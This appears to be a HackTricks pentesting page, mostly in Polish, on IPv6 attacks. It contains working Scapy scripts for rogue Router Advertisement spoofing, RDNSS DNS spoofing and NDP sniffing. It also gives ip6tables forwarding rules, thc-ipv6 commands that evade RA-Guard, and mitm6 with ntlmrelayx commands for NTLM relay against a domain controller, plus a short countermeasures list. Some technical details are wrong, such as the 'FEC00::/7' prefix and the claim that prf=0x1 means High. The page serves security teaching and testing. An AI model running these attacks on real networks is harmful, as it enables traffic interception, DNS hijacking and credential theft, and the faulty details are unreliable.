Pentesting IPv6
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
IPv6 — podstawy
Sieci
Adresy IPv6 są zbudowane tak, aby usprawnić organizację sieci i komunikację urządzeń. Adres IPv6 dzieli się na:
- Prefiks sieciowy (Network Prefix): Początkowe 48 bitów, określające segment sieci.
- ID podsieci (Subnet ID): Kolejne 16 bitów, używane do definiowania konkretnych podsieci w ramach sieci.
- Identyfikator interfejsu (Interface Identifier): Ostatnie 64 bity, jednoznacznie identyfikujące urządzenie w podsieci.
IPv6 rezygnuje z protokołu ARP znanego z IPv4, wprowadzając zamiast niego ICMPv6 z dwoma podstawowymi typami wiadomości:
- Neighbor Solicitation (NS): Wiadomości multicast używane do rozwiązywania adresów.
- Neighbor Advertisement (NA): Odpowiedzi unicast na NS lub spontaniczne ogłoszenia.
IPv6 zawiera też specjalne typy adresów:
- Loopback Address (
::1): Odpowiednik127.0.0.1w IPv4, do komunikacji wewnątrz hosta. - Link-Local Addresses (
FE80::/10): Do działań w sieci lokalnej, nie do routingu w internecie. Urządzenia w tej samej sieci lokalnej mogą się odkrywać, korzystając z tego zakresu.
Praktyczne użycie IPv6 w poleceniach sieciowych
Aby wchodzić w interakcje z sieciami IPv6, można używać różnych poleceń:
- Ping Link-Local Addresses: Sprawdź obecność lokalnych urządzeń przy pomocy
ping6. - Neighbor Discovery: Użyj
ip neigh, aby zobaczyć urządzenia odkryte na warstwie łącza. - alive6: Alternatywne narzędzie do wykrywania urządzeń w tej samej sieci.
Poniżej znajdują się przykłady poleceń:
ping6 –I eth0 -c 5 ff02::1 > /dev/null 2>&1
ip neigh | grep ^fe80
# Alternatively, use alive6 for neighbor discovery
alive6 eth0
IPv6 addresses can be derived from a device’s MAC address for local communication. Here’s a simplified guide on how to derive the Link-local IPv6 address from a known MAC address, and a brief overview of IPv6 address types and methods to discover IPv6 addresses within a network.
Deriving Link-local IPv6 from MAC Address
Given a MAC address 12:34:56:78:9a:bc, you can construct the Link-local IPv6 address as follows:
- Convert MAC to IPv6 format:
1234:5678:9abc - Prepend
fe80::and insertfffein the middle:fe80::1234:56ff:fe78:9abc - Invert the seventh bit from the left, changing
1234to1034:fe80::1034:56ff:fe78:9abc
IPv6 Address Types
- Unique Local Address (ULA): For local communications, not meant for public internet routing. Prefix:
FEC00::/7 - Multicast Address: For one-to-many communication. Delivered to all interfaces in the multicast group. Prefix:
FF00::/8 - Anycast Address: For one-to-nearest communication. Sent to the closest interface as per routing protocol. Part of the
2000::/3global unicast range.
Address Prefixes
- fe80::/10: Link-Local addresses (similar to 169.254.x.x)
- fc00::/7: Unique Local-Unicast (similar to private IPv4 ranges like 10.x.x.x, 172.16.x.x, 192.168.x.x)
- 2000::/3: Global Unicast
- ff02::1: Multicast All Nodes
- ff02::2: Multicast Router Nodes
Discovering IPv6 Addresses within a Network
Way 1: Using Link-local Addresses
- Obtain the MAC address of a device within the network.
- Derive the Link-local IPv6 address from the MAC address.
Way 2: Using Multicast
- Send a ping to the multicast address
ff02::1to discover IPv6 addresses on the local network.
service ufw stop # Stop the firewall
ping6 -I <IFACE> ff02::1 # Send a ping to multicast address
ip -6 neigh # Display the neighbor table
IPv6 Man-in-the-Middle (MitM) Attacks
Several techniques exist for executing MitM attacks in IPv6 networks, such as:
- Spoofing ICMPv6 neighbor or router advertisements.
- Using ICMPv6 redirect or “Packet Too Big” messages to manipulate routing.
- Attacking mobile IPv6 (usually requires IPSec to be disabled).
- Setting up a rogue DHCPv6 server.
Identyfikacja adresów IPv6 w sieci
Badanie subdomen
Jedną z metod znajdowania subdomen potencjalnie powiązanych z adresami IPv6 jest wykorzystanie wyszukiwarek. Na przykład zastosowanie wzorca zapytania takiego jak ipv6.* może być skuteczne. Konkretnie, następujące zapytanie wyszukiwania można użyć w Google:
site:ipv6./
Wykorzystanie zapytań DNS
Aby zidentyfikować adresy IPv6, można zapytać o pewne typy rekordów DNS:
- AXFR: Żąda pełnego transferu strefy, co może ujawnić szeroki zakres rekordów DNS.
- AAAA: Bezpośrednio wyszukuje adresy IPv6.
- ANY: Szerokie zapytanie, które zwraca wszystkie dostępne rekordy DNS.
Sondowanie za pomocą ping6
Po zlokalizowaniu adresów IPv6 powiązanych z organizacją, do sondowania można użyć narzędzia ping6. To narzędzie pomaga ocenić responsywność zidentyfikowanych adresów IPv6 i może również pomóc w wykryciu sąsiednich urządzeń IPv6.
Techniki ataków w lokalnej sieci IPv6
Poniższe sekcje opisują praktyczne ataki IPv6 na warstwie 2, które można wykonać wewnątrz tego samego segmentu /64 bez znajomości żadnego globalnego prefiksu. Wszystkie pakiety pokazane poniżej są link-local i przemieszczają się tylko przez lokalny przełącznik, co czyni je w większości środowisk wyjątkowo ukrytymi.
Dostosowanie systemu dla stabilnego laboratorium
Zanim zaczniesz eksperymentować z ruchem IPv6, zaleca się zabezpieczyć swoją maszynę, aby uniknąć zatruwania jej przez własne testy oraz uzyskać najlepszą wydajność podczas masowego wstrzykiwania i przechwytywania pakietów.
# Enable promiscuous mode to capture all frames
sudo ip link set dev eth0 promisc on
# Ignore rogue Router Advertisements & Redirects coming from the segment
sudo sysctl -w net.ipv6.conf.all.accept_ra=0
sudo sysctl -w net.ipv6.conf.all.accept_redirects=0
# Increase fd / backlog limits when generating lots of traffic
sudo sysctl -w fs.file-max=100000
sudo sysctl -w net.core.somaxconn=65535
sudo sysctl -w net.ipv4.tcp_tw_reuse=1
Passive NDP & DHCPv6 Sniffing
Ponieważ każdy host IPv6 automatycznie dołącza do wielu grup multicastowych (ff02::1, ff02::2, …) i używa ICMPv6 dla SLAAC/NDP, możesz zmapować cały segment bez wysyłania ani jednego pakietu. Następujący jednolinijkowy skrypt Python/Scapy nasłuchuje najbardziej interesujących komunikatów L2 i wypisuje kolorowy, opatrzony znacznikiem czasu log, kto jest kim:
#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.dhcp6 import *
from datetime import datetime
from colorama import Fore, Style, init
import argparse
init(autoreset=True)
# Human-readable names for protocols we care about
DHCP6_TYPES = {
DHCP6_Solicit: 'Solicit',
DHCP6_Advertise: 'Advertise',
DHCP6_Request: 'Request',
DHCP6_Reply: 'Reply',
DHCP6_Renew: 'Renew',
DHCP6_Rebind: 'Rebind',
DHCP6_RelayForward:'Relay-Forward',
DHCP6_RelayReply: 'Relay-Reply'
}
ICMP6_TYPES = {
ICMPv6ND_RS: ('Router Solicitation', Fore.CYAN),
ICMPv6ND_RA: ('Router Advertisement', Fore.GREEN),
ICMPv6ND_NS: ('Neighbor Solicitation',Fore.BLUE),
ICMPv6ND_NA: ('Neighbor Advertisement',Fore.MAGENTA),
ICMPv6ND_Redirect:('Redirect', Fore.LIGHTRED_EX),
ICMPv6MLReport: ('MLD Report', Fore.LIGHTCYAN_EX),
ICMPv6MLReport2: ('MLD Report', Fore.LIGHTCYAN_EX),
ICMPv6MLDone: ('MLD Done', Fore.LIGHTCYAN_EX),
ICMPv6EchoRequest:('Echo Request', Fore.LIGHTBLACK_EX),
ICMPv6EchoReply: ('Echo Reply', Fore.LIGHTBLACK_EX)
}
def handler(pkt):
eth_src = pkt[Ether].src if Ether in pkt else '?'
eth_dst = pkt[Ether].dst if Ether in pkt else '?'
ip6_src = pkt[IPv6].src if IPv6 in pkt else '?'
ip6_dst = pkt[IPv6].dst if IPv6 in pkt else '?'
# Identify protocol family first
for proto,(desc,color) in ICMP6_TYPES.items():
if proto in pkt:
break
else:
if UDP in pkt and pkt[UDP].dport == 547: # DHCPv6 server port
for dhcp_t,name in DHCP6_TYPES.items():
if dhcp_t in pkt:
desc = 'DHCPv6 – '+name; color = Fore.YELLOW; break
else:
return # not a DHCPv6 message we track
else:
return # not interesting
print(color + f"[{datetime.now().strftime('%H:%M:%S')}] {desc}")
print(f" MAC {eth_src} -> {eth_dst}")
print(f" IPv6 {ip6_src} -> {ip6_dst}")
print('-'*60)
if __name__ == '__main__':
argp = argparse.ArgumentParser(description='IPv6 NDP & DHCPv6 sniffer')
argp.add_argument('-i','--interface',required=True,help='Interface to sniff')
argp.add_argument('-t','--time',type=int,default=0,help='Duration (0 = infinite)')
a = argp.parse_args()
sniff(iface=a.interface,prn=handler,timeout=a.time or None,store=0)
Rezultat: pełna link-local topology (MAC ⇄ IPv6) w ciągu kilku sekund, bez wyzwalania systemów IPS/IDS, które polegają na aktywnych skanach.
Router Advertisement (RA) Spoofing
Hosty IPv6 polegają na ICMPv6 Router Advertisements przy wykrywaniu domyślnej bramy. Jeśli wstrzykniesz sfałszowane RAs częściej niż prawdziwy router, urządzenia bezgłośnie przełączą się na Ciebie jako bramę.
#!/usr/bin/env python3
from scapy.all import *
import argparse
p = argparse.ArgumentParser()
p.add_argument('-i','--interface',required=True)
p.add_argument('-m','--mac',required=True,help='Source MAC (will be put in SrcLL option)')
p.add_argument('--llip',required=True,help='Link-local source IP, e.g. fe80::dead:beef')
p.add_argument('-l','--lifetime',type=int,default=1800,help='Router lifetime')
p.add_argument('--interval',type=int,default=5,help='Seconds between RAs')
p.add_argument('--revert',action='store_true',help='Send lifetime=0 to undo attack')
args = p.parse_args()
lifetime = 0 if args.revert else args.lifetime
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=lifetime, prf=0x1)/ # High preference
ICMPv6NDOptSrcLLAddr(lladdr=args.mac))
send(ra,iface=args.interface,loop=1,inter=args.interval)
Aby faktycznie forward traffic po wygraniu wyścigu:
sudo sysctl -w net.ipv6.conf.all.forwarding=1
sudo ip6tables -A FORWARD -i eth0 -j ACCEPT
sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
Flagi Router Advertisement (M/O) i domyślna preferencja routera (Prf)
| Flaga | Znaczenie | Wpływ na zachowanie klienta |
|---|---|---|
| M (Managed Address Configuration) | Sygnalizuje, że na segmencie dostępne jest adresowanie stanowe przez DHCPv6. | Silny sygnał, że spoofing DHCPv6 może zadziałać. |
| O (Other Configuration) | Sygnalizuje, że hosty powinny używać DHCPv6 dla innych parametrów (DNS, NTP, …). | Adres zazwyczaj nadal pochodzi ze SLAAC, ale DNS można przejąć przez DHCPv6. |
| M=0 / O=0 | Czysta sieć w stylu SLAAC. | DHCPv6 może się nie pojawić; skup się na rogue RA / RDNSS zamiast mitm6. |
| M=1 / O=1 | Środowisko mieszane. | Informacje z DHCPv6 i SLAAC mogą współistnieć; powierzchnia spoofingu jest największa. |
Podczas pentestu możesz po prostu raz sprawdzić autentyczne RA i zdecydować, który wektor jest wykonalny:
sudo tcpdump -vvv -i eth0 'icmp6 && ip6[40] == 134' # capture Router Advertisements
Szukaj pola flags [M,O] w zrzucie – nie trzeba zgadywać.
Pole Prf (Router Preference) w nagłówku RA kontroluje, jak atrakcyjny wygląda twój fałszywy router, gdy obecnych jest wiele bram:
| Prf value | Binary | Meaning |
|---|---|---|
| High | 10 | Clients prefer this router over any Medium/Low one |
| Medium (default) | 01 | Used by almost every legitimate device |
| Low | 00 | Chosen only when no better router exists |
Generując pakiet za pomocą Scapy możesz ustawić to przez parametr prf, jak pokazano powyżej (prf=0x1 → High). Połączenie High Prf, krótkiego interwału, i niezerowego czasu życia sprawia, że twoja fałszywa brama jest wyjątkowo stabilna.
RDNSS (DNS) Spoofing via RA
RFC 8106 pozwala dodać opcję Recursive DNS Server (RDNSS) wewnątrz RA. Jest to podstawowy DNS hijack primitive, gdy segment jest tylko SLAAC (M=0 / O=0) i klienci nie korzystają z DHCPv6. Obsługa po stronie klienta jest zależna od implementacji, więc zweryfikuj docelowy OS w laboratorium zamiast zakładać uniwersalne akceptowanie RDNSS.
#!/usr/bin/env python3
from scapy.all import *
import argparse
p = argparse.ArgumentParser()
P = p.add_argument
P('-i','--interface',required=True)
P('--llip',required=True)
P('--dns',required=True,help='Fake DNS IPv6')
P('--lifetime',type=int,default=600)
P('--interval',type=int,default=5)
args = p.parse_args()
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=0)/
ICMPv6NDOptRDNSS(dns=[args.dns],lifetime=args.lifetime))
send(ra,iface=args.interface,loop=1,inter=args.interval)
Ten sam pakiet może również zawierać opcję DNSSL, aby zatruć ścieżki rozwiązywania krótkich nazw w środowiskach tylko IPv6 lub dual-stack, gdzie mają znaczenie domeny wyszukiwania. Jeśli zakończysz atak w sposób czysty, wyślij revert RA z tą samą opcją i lifetime=0.
Omijanie RA-Guard w praktyce
RFC 7113 dokumentuje, dlaczego uproszczone wdrożenia RA-Guard można obejść, gdy nie parsują pełnego łańcucha nagłówków IPv6 lub w przypadku fragmentów przechodzą w tryb fail-open. To nie jest nowe badanie, ale nadal jest to istotne operacyjnie, ponieważ wiele przełączników dostępowych implementuje tylko częściowe filtrowanie.
Najnowsze wersje thc-ipv6 ujawniają to bezpośrednio w narzędziach:
# Hop-by-Hop header before the RA
sudo atk6-fake_router6 -H eth0 2001:db8:1337::/64
# Fragmentation / destination-options variants against weak RA-Guard
sudo atk6-fake_router6 -F eth0 2001:db8:1337::/64
sudo atk6-fake_router6 -D eth0 2001:db8:1337::/64
# Flooded variant with full RA-Guard evasion and DHCPv6 flags set
sudo atk6-flood_router26 -F -m eth0
Use these only after confirming that a normal forged RA is being filtered. If -H/-D/-F suddenly makes hosts accept your rogue router, you have evidence that the switch is matching only the fixed IPv6 header instead of the real ICMPv6 RA payload.
DHCPv6 DNS Spoofing (mitm6)
Gdy legalny RA reklamuje M i/lub O, klienci Windows często wysyłają żądania DHCPv6 o adres lub konfigurację pomocniczą. mitm6 wykorzystuje to zachowanie, odpowiadając na DHCPv6 i wstawiając twój link-local IPv6 jako DNS z krótkim okresem dzierżawy. To umożliwia:
- NTLM relay attacks (WPAD + DNS hijacking)
- Przechwytywanie wewnętrznego rozwiązywania nazw bez ingerencji w routery
- Low-noise targeting — możesz ograniczyć poisoning do konkretnych hostów lub domen
Typowe użycie:
# DNS takeover without sending rogue RAs
sudo mitm6 -i eth0 --no-ra -d corp.local --host-allowlist wsus
# Pair it with IPv6-capable relay listeners
sudo ntlmrelayx.py -6 -t ldaps://dc.corp.local -wh wpad
Useful details from current mitm6 builds:
--no-rakeeps the attack DHCPv6-only when the network detects rogue RAs.-d/--domainand--host-allowlistkeep poisoning tight instead of hijacking every query on the segment.--ignore-nofqdnreduces noise from clients that omit the DHCPv6 FQDN option.
If the segment is pure SLAAC (M=0 / O=0), mitm6 is usually the wrong primitive. Use rogue RAs / RDNSS instead, and keep the higher-level relay logic in the WPAD/relay page.
Środki zaradcze
- RA Guard / DHCPv6 Guard / ND Inspection on managed switches.
- Port ACLs that allow only the legitimate router’s MAC to send RAs.
- Monitor for unexpected high-rate RAs or sudden RDNSS changes.
- Disabling IPv6 on endpoints is a temporary workaround that often breaks modern services and hides blind spots – prefer L2 filtering instead.
NDP Router Discovery on Guest/Public SSIDs and Management Service Exposure
Many consumer routers expose management daemons (HTTP(S), SSH/Telnet, TR-069, etc.) on all interfaces. In some deployments, the “guest/public” SSID is bridged to the WAN/core and is IPv6-only. Even if the router’s IPv6 changes on every boot, you can reliably learn it using NDP/ICMPv6 and then direct-connect to the management plane from the guest SSID.
Typical workflow from a client connected to the guest/public SSID:
- Discover the router via ICMPv6 Router Solicitation to the All-Routers multicast
ff02::2and capture the Router Advertisement (RA):
# Listen for Router Advertisements (ICMPv6 type 134)
sudo tcpdump -vvv -i <IFACE> 'icmp6 and ip6[40]==134'
# Provoke an RA by sending a Router Solicitation to ff02::2
python3 - <<'PY'
from scapy.all import *
send(IPv6(dst='ff02::2')/ICMPv6ND_RS(), iface='<IFACE>')
PY
RA ujawnia link-local routera i często także adres/prefiks globalny. Jeśli znany jest tylko link-local, pamiętaj, że połączenia muszą określić indeks strefy, np. ssh -6 admin@[fe80::1%wlan0].
Alternatywnie: użyj ndisc6 suite, jeśli jest dostępny:
# rdisc6 sends RS and prints RAs in a friendly way
rdisc6 <IFACE>
- Uzyskaj dostęp do wystawionych usług przez IPv6 z SSID gościa:
# SSH/Telnet example (replace with discovered address)
ssh -6 admin@[2001:db8:abcd::1]
# Web UI over IPv6
curl -g -6 -k 'http://[2001:db8:abcd::1]/'
# Fast IPv6 service sweep
nmap -6 -sS -Pn -p 22,23,80,443,7547 [2001:db8:abcd::1]
- Jeśli shell zarządzania udostępnia narzędzie do przechwytywania pakietów przez wrapper (np. tcpdump), sprawdź, czy występuje argument/filename injection, które pozwala przekazać dodatkowe flagi tcpdump, takie jak
-G/-W/-z, w celu wykonania polecenia po rotacji. Zobacz:
Środki obronne/uwagi:
- Nie wiąż sieci zarządzania z mostami gości/publicznymi; zastosuj firewalle IPv6 na mostach SSID.
- Stosuj rate-limiting i filtruj NDP/RS/RA w segmentach dla gości tam, gdzie to możliwe.
- Dla usług, które muszą być osiągalne, egzekwuj authN/MFA oraz silne rate-limity.
Źródła
- Legless – IPv6 Penetration Testing
- mitm6
- RFC 7113 – RA-Guard Implementation Advice
- RFC 8106 – IPv6 ND DNS Configuration
- http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html
- https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904
- Practical Guide to IPv6 Attacks in a Local Network
- FiberGateway GR241AG – Full Exploit Chain
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


